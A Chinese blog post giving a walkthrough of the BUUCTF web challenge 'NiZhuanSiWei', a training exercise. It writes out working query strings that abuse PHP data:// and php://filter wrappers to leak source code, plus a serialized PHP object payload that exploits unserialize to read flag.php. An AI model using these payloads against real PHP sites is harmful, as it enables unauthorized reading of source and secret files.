当前位置: 首页 > news >正文

BUUCTF-web刷题篇(13)

22.NiZhuanSiWei

分析:有三个参数需要以get方式传入,发现有file_get_contents(),所以要使用php伪代码,preg_match("/flag/",$file)说明正则匹配不能含有flag,同时还有反序列化,存在漏洞。

已知前两个参数的值,上传

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php 或者以base64的方式传入text ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

出现base64码,用base64解码器或者wsl解码后得到

<?php  
 
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

存在反序列化操作,我们可以利用该代码修改变量file后添加输出后,进行序列化操作,再传输给password让其输出即可。

VScode中修改:

<?php  
 
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>  

运行获取结果后,传给password

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  
或者
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  
其中file第二次不用伪协议

得到flag

相关文章:

  • 高精度矢量内积计算方法 (单精度浮点, 超长矢量)
  • hashtable遍历的方法有哪些
  • uname
  • SpringBoot洗衣店订单管理系统设计与实现
  • LeetCode 3047 求交集区域内的最大正方形面积
  • VScode连接CentOS 7.6虚拟机
  • B站左神算法课学习笔记(P8):贪心
  • Python函数一(五)
  • 算法 | 基于蜘蛛蜂优化算法求解带时间窗的车辆路径问题研究(附matlab代码)
  • ZKmall开源商城:基于Spring Boot 3的高效后端架构设计与实践
  • 三维点云数据的哈希快速查找方法
  • linux驱动学习(十五)之ioctl
  • 软件工程面试题(三十)
  • 【Android】界面布局-相对布局RelativeLayout-例子
  • 网络基础二
  • linux专题3-----禁止SSH的密码登录
  • 论文阅读笔记——RDT-1B: A DIFFUSION FOUNDATION MODEL FOR BIMANUAL MANIPULATION
  • R 语言科研绘图第 36 期 --- 饼状图-基础
  • 大厂不再招测试?软件测试左移开发合理吗?
  • C 语言排序算法:从基础到进阶的全面解析一、引言